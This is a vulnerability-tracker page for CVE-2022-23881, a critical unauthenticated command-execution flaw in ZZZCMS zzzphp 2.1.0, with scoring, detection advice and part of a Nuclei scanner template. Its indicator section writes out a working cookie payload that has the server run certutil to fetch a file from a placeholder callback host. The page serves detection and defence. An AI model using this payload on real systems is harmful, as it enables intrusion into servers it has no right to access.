CVE-2022-23881
published 2022-03-23CVE-2022-23881: ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php.
PriorityP277critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
56.51%
98.9th percentile
ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| zzzcms | zzzphp | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url/?location=search
cookiekeys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}
- →Exploit payload is delivered via the 'keys' cookie using ZZZCMS template injection syntax: {if:=`<cmd>`}{end if}. Monitor HTTP requests to /?location=search with a 'keys' cookie containing backtick-wrapped OS commands.
- →Exploitation results in an HTTP 500 response from the server. Correlate 500 status codes on /?location=search with suspicious 'keys' cookie values as a detection signal.
- →The vulnerability is triggered through the danger_key() function in zzz_template.php. Look for template expression patterns ({if:=`...`}{end if}) in cookie values processed by this file. ↗
- →Out-of-band detection: exploitation may trigger outbound HTTP requests (e.g., via certutil) to attacker-controlled infrastructure. Monitor for unexpected certutil network activity on Windows hosts running ZZZCMS.
- ·The Nuclei template uses an interactsh out-of-band callback URL as the payload destination. In real-world attacks, this would be replaced with an attacker-controlled domain. The specific URL in the template is a placeholder and not a fixed IOC.
- ·The vulnerability is unauthenticated (PR:N) and network-exploitable (AV:N) with no user interaction required, meaning any exposed ZZZCMS zzzphp 2.1.0 instance is at risk without authentication bypass.
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Nuclei
ZZZCMS zzzphp 2.1.0 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2022-23881 [CRITICAL] ZZZCMS zzzphp 2.1.0 - Remote Code Execution
ZZZCMS zzzphp 2.1.0 - Remote Code Execution
ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php.
Template:
id: CVE-2022-23881
info:
name: ZZZCMS zzzphp 2.1.0 - Remote Code Execution
author: pikpikcu
severity: critical
description: ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patch or upgrade to a patched version of ZZZCMS zzzphp.
reference:
- https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md
- http://www.zzzcms.com
- https://nvd.nist.gov/vul
No writeups or analysis indexed.
2022-03-23
Published